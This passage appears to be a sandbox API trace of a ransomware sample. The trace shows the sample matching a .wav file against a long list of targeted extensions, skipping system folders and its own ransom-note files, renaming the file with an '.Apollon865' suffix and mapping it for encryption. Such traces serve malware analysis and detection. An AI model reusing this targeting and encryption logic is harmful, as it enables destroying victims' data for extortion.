	[0088.156] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.156] lstrlenW (lpString="p97") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.156] lstrlenW (lpString="pan") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.156] lstrlenW (lpString="pdb") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.156] lstrlenW (lpString="pdm") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.156] lstrlenW (lpString="pnz") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.156] lstrlenW (lpString="qry") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.156] lstrlenW (lpString="qvd") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.156] lstrlenW (lpString="rbf") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.156] lstrlenW (lpString="rctd") returned 4
	[0088.156] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.156] lstrlenW (lpString="rod") returned 3
	[0088.156] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.156] lstrlenW (lpString="rodx") returned 4
	[0088.156] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.156] lstrlenW (lpString="rpd") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.157] lstrlenW (lpString="rsd") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.157] lstrlenW (lpString="sas7bdat") returned 8
	[0088.157] lstrcmpiW (lpString1="5MYX.wav", lpString2="sas7bdat") returned -1
	[0088.157] lstrlenW (lpString="sbf") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.157] lstrlenW (lpString="scx") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.157] lstrlenW (lpString="sdb") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.157] lstrlenW (lpString="sdc") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.157] lstrlenW (lpString="sdf") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.157] lstrlenW (lpString="sis") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.157] lstrlenW (lpString="spq") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.157] lstrlenW (lpString="te") returned 2
	[0088.157] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.157] lstrlenW (lpString="teacher") returned 7
	[0088.157] lstrcmpiW (lpString1="MYX.wav", lpString2="teacher") returned -1
	[0088.157] lstrlenW (lpString="tmd") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.157] lstrlenW (lpString="tps") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.157] lstrlenW (lpString="trc") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.157] lstrlenW (lpString="trc") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.157] lstrlenW (lpString="trm") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.157] lstrlenW (lpString="udb") returned 3
	[0088.157] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.157] lstrlenW (lpString="udl") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.158] lstrlenW (lpString="usr") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.158] lstrlenW (lpString="v12") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.158] lstrlenW (lpString="vis") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.158] lstrlenW (lpString="vpd") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.158] lstrlenW (lpString="vvv") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.158] lstrlenW (lpString="wdb") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.158] lstrlenW (lpString="wmdb") returned 4
	[0088.158] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.158] lstrlenW (lpString="wrk") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.158] lstrlenW (lpString="xdb") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.158] lstrlenW (lpString="xld") returned 3
	[0088.158] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.158] lstrlenW (lpString="xmlff") returned 5
	[0088.158] lstrcmpiW (lpString1="X.wav", lpString2="xmlff") returned -1
	[0088.158] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\jNLEsmPbZ5MYX.wav.Apollon865") returned 82
	[0088.158] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\jNLEsmPbZ5MYX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\jnlesmpbz5myx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\jNLEsmPbZ5MYX.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\jnlesmpbz5myx.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\jNLEsmPbZ5MYX.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\jnlesmpbz5myx.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.160] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=50989) returned 1
	[0088.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.160] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.161] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.161] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.161] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca30, lpName=0x0) returned 0x15c
	[0088.161] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca30) returned 0x100000
	[0088.163] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.164] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.164] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.164] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.165] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.165] CloseHandle (hObject=0x15c) returned 1
	[0088.165] CloseHandle (hObject=0x9c) returned 1
	[0088.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.177] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64ad1dd0, ftCreationTime.dwHighDateTime=0x1d4d4f5, ftLastAccessTime.dwLowDateTime=0x82f5df40, ftLastAccessTime.dwHighDateTime=0x1d4c64d, ftLastWriteTime.dwLowDateTime=0x82f5df40, ftLastWriteTime.dwHighDateTime=0x1d4c64d, nFileSizeHigh=0x0, nFileSizeLow=0xe5d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N0DUyEryr594KLTK2AQE.wav", cAlternateFileName="N0DUYE~1.WAV")) returned 1
	[0088.177] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2=".") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="..") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="windows") returned -1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="bootmgr") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="temp") returned -1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="pagefile.sys") returned -1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="boot") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="ids.txt") returned 1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="ntuser.dat") returned -1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="perflogs") returned -1
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2="MSBuild") returned 1
	[0088.178] lstrlenW (lpString="N0DUyEryr594KLTK2AQE.wav") returned 24
	[0088.178] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\jNLEsmPbZ5MYX.wav") returned 71
	[0088.178] lstrcpyW (in: lpString1=0x119e674, lpString2="N0DUyEryr594KLTK2AQE.wav" | out: lpString1="N0DUyEryr594KLTK2AQE.wav") returned="N0DUyEryr594KLTK2AQE.wav"
	[0088.178] lstrlenW (lpString="N0DUyEryr594KLTK2AQE.wav") returned 24
	[0088.178] lstrlenW (lpString="Apollon865") returned 10
	[0088.178] lstrcmpiW (lpString1="TK2AQE.wav", lpString2="Apollon865") returned 1
	[0088.178] lstrlenW (lpString=".dll") returned 4
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2=".dll") returned 1
	[0088.178] lstrlenW (lpString=".lnk") returned 4
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2=".lnk") returned 1
	[0088.178] lstrlenW (lpString=".ini") returned 4
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2=".ini") returned 1
	[0088.178] lstrlenW (lpString=".sys") returned 4
	[0088.178] lstrcmpiW (lpString1="N0DUyEryr594KLTK2AQE.wav", lpString2=".sys") returned 1
	[0088.178] lstrlenW (lpString="N0DUyEryr594KLTK2AQE.wav") returned 24
	[0088.178] lstrlenW (lpString="bak") returned 3
	[0088.178] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.178] lstrlenW (lpString="ba_") returned 3
	[0088.178] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.178] lstrlenW (lpString="dbb") returned 3
	[0088.178] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.178] lstrlenW (lpString="vmdk") returned 4
	[0088.179] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.179] lstrlenW (lpString="rar") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.179] lstrlenW (lpString="zip") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.179] lstrlenW (lpString="tgz") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.179] lstrlenW (lpString="vbox") returned 4
	[0088.179] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.179] lstrlenW (lpString="vdi") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.179] lstrlenW (lpString="vhd") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.179] lstrlenW (lpString="vhdx") returned 4
	[0088.179] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.179] lstrlenW (lpString="avhd") returned 4
	[0088.179] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.179] lstrlenW (lpString="db") returned 2
	[0088.179] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.179] lstrlenW (lpString="db2") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.179] lstrlenW (lpString="db3") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.179] lstrlenW (lpString="dbf") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.179] lstrlenW (lpString="mdf") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.179] lstrlenW (lpString="mdb") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.179] lstrlenW (lpString="sql") returned 3
	[0088.179] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.179] lstrlenW (lpString="sqlite") returned 6
	[0088.179] lstrcmpiW (lpString1="QE.wav", lpString2="sqlite") returned -1
	[0088.179] lstrlenW (lpString="sqlite3") returned 7
	[0088.179] lstrcmpiW (lpString1="AQE.wav", lpString2="sqlite3") returned -1
	[0088.180] lstrlenW (lpString="sqlitedb") returned 8
	[0088.180] lstrcmpiW (lpString1="2AQE.wav", lpString2="sqlitedb") returned -1
	[0088.180] lstrlenW (lpString="xml") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.180] lstrlenW (lpString="$er") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.180] lstrlenW (lpString="4dd") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.180] lstrlenW (lpString="4dl") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.180] lstrlenW (lpString="^^^") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.180] lstrlenW (lpString="abs") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.180] lstrlenW (lpString="abx") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.180] lstrlenW (lpString="accdb") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accdb") returned 1
	[0088.180] lstrlenW (lpString="accdc") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accdc") returned 1
	[0088.180] lstrlenW (lpString="accde") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accde") returned 1
	[0088.180] lstrlenW (lpString="accdr") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accdr") returned 1
	[0088.180] lstrlenW (lpString="accdt") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accdt") returned 1
	[0088.180] lstrlenW (lpString="accdw") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accdw") returned 1
	[0088.180] lstrlenW (lpString="accft") returned 5
	[0088.180] lstrcmpiW (lpString1="E.wav", lpString2="accft") returned 1
	[0088.180] lstrlenW (lpString="adb") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.180] lstrlenW (lpString="adb") returned 3
	[0088.180] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.180] lstrlenW (lpString="ade") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.181] lstrlenW (lpString="adf") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.181] lstrlenW (lpString="adn") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.181] lstrlenW (lpString="adp") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.181] lstrlenW (lpString="alf") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.181] lstrlenW (lpString="ask") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.181] lstrlenW (lpString="btr") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.181] lstrlenW (lpString="cat") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.181] lstrlenW (lpString="cdb") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.181] lstrlenW (lpString="ckp") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.181] lstrlenW (lpString="cma") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.181] lstrlenW (lpString="cpd") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.181] lstrlenW (lpString="dacpac") returned 6
	[0088.181] lstrcmpiW (lpString1="QE.wav", lpString2="dacpac") returned 1
	[0088.181] lstrlenW (lpString="dad") returned 3
	[0088.181] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.181] lstrlenW (lpString="dadiagrams") returned 10
	[0088.181] lstrcmpiW (lpString1="TK2AQE.wav", lpString2="dadiagrams") returned 1
	[0088.181] lstrlenW (lpString="daschema") returned 8
	[0088.181] lstrcmpiW (lpString1="2AQE.wav", lpString2="daschema") returned -1
	[0088.181] lstrlenW (lpString="db-journal") returned 10
	[0088.181] lstrcmpiW (lpString1="TK2AQE.wav", lpString2="db-journal") returned 1
	[0088.181] lstrlenW (lpString="db-shm") returned 6
	[0088.182] lstrcmpiW (lpString1="QE.wav", lpString2="db-shm") returned 1
	[0088.182] lstrlenW (lpString="db-wal") returned 6
	[0088.182] lstrcmpiW (lpString1="QE.wav", lpString2="db-wal") returned 1
	[0088.182] lstrlenW (lpString="dbc") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.182] lstrlenW (lpString="dbs") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.182] lstrlenW (lpString="dbt") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.182] lstrlenW (lpString="dbv") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.182] lstrlenW (lpString="dbx") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.182] lstrlenW (lpString="dcb") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.182] lstrlenW (lpString="dct") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.182] lstrlenW (lpString="dcx") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.182] lstrlenW (lpString="ddl") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.182] lstrlenW (lpString="dlis") returned 4
	[0088.182] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.182] lstrlenW (lpString="dp1") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.182] lstrlenW (lpString="dqy") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.182] lstrlenW (lpString="dsk") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.182] lstrlenW (lpString="dsn") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.182] lstrlenW (lpString="dtsx") returned 4
	[0088.182] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.182] lstrlenW (lpString="dxl") returned 3
	[0088.182] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.183] lstrlenW (lpString="eco") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.183] lstrlenW (lpString="ecx") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.183] lstrlenW (lpString="edb") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.183] lstrlenW (lpString="epim") returned 4
	[0088.183] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.183] lstrlenW (lpString="fcd") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.183] lstrlenW (lpString="fdb") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.183] lstrlenW (lpString="fic") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.183] lstrlenW (lpString="flexolibrary") returned 12
	[0088.183] lstrcmpiW (lpString1="KLTK2AQE.wav", lpString2="flexolibrary") returned 1
	[0088.183] lstrlenW (lpString="fm5") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.183] lstrlenW (lpString="fmp") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.183] lstrlenW (lpString="fmp12") returned 5
	[0088.183] lstrcmpiW (lpString1="E.wav", lpString2="fmp12") returned -1
	[0088.183] lstrlenW (lpString="fmpsl") returned 5
	[0088.183] lstrcmpiW (lpString1="E.wav", lpString2="fmpsl") returned -1
	[0088.183] lstrlenW (lpString="fol") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.183] lstrlenW (lpString="fp3") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.183] lstrlenW (lpString="fp4") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.183] lstrlenW (lpString="fp5") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.183] lstrlenW (lpString="fp7") returned 3
	[0088.183] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.183] lstrlenW (lpString="fpt") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.184] lstrlenW (lpString="frm") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.184] lstrlenW (lpString="gdb") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.184] lstrlenW (lpString="gdb") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.184] lstrlenW (lpString="grdb") returned 4
	[0088.184] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.184] lstrlenW (lpString="gwi") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.184] lstrlenW (lpString="hdb") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.184] lstrlenW (lpString="his") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.184] lstrlenW (lpString="ib") returned 2
	[0088.184] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.184] lstrlenW (lpString="idb") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.184] lstrlenW (lpString="ihx") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.184] lstrlenW (lpString="itdb") returned 4
	[0088.184] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.184] lstrlenW (lpString="itw") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.184] lstrlenW (lpString="jet") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.184] lstrlenW (lpString="jtx") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.184] lstrlenW (lpString="kdb") returned 3
	[0088.184] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.184] lstrlenW (lpString="kexi") returned 4
	[0088.184] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.184] lstrlenW (lpString="kexic") returned 5
	[0088.184] lstrcmpiW (lpString1="E.wav", lpString2="kexic") returned -1
	[0088.185] lstrlenW (lpString="kexis") returned 5
	[0088.185] lstrcmpiW (lpString1="E.wav", lpString2="kexis") returned -1
	[0088.185] lstrlenW (lpString="lgc") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.185] lstrlenW (lpString="lwx") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.185] lstrlenW (lpString="maf") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.185] lstrlenW (lpString="maq") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.185] lstrlenW (lpString="mar") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.185] lstrlenW (lpString="marshal") returned 7
	[0088.185] lstrcmpiW (lpString1="AQE.wav", lpString2="marshal") returned -1
	[0088.185] lstrlenW (lpString="mas") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.185] lstrlenW (lpString="mav") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.185] lstrlenW (lpString="maw") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.185] lstrlenW (lpString="mdbhtml") returned 7
	[0088.185] lstrcmpiW (lpString1="AQE.wav", lpString2="mdbhtml") returned -1
	[0088.185] lstrlenW (lpString="mdn") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.185] lstrlenW (lpString="mdt") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.185] lstrlenW (lpString="mfd") returned 3
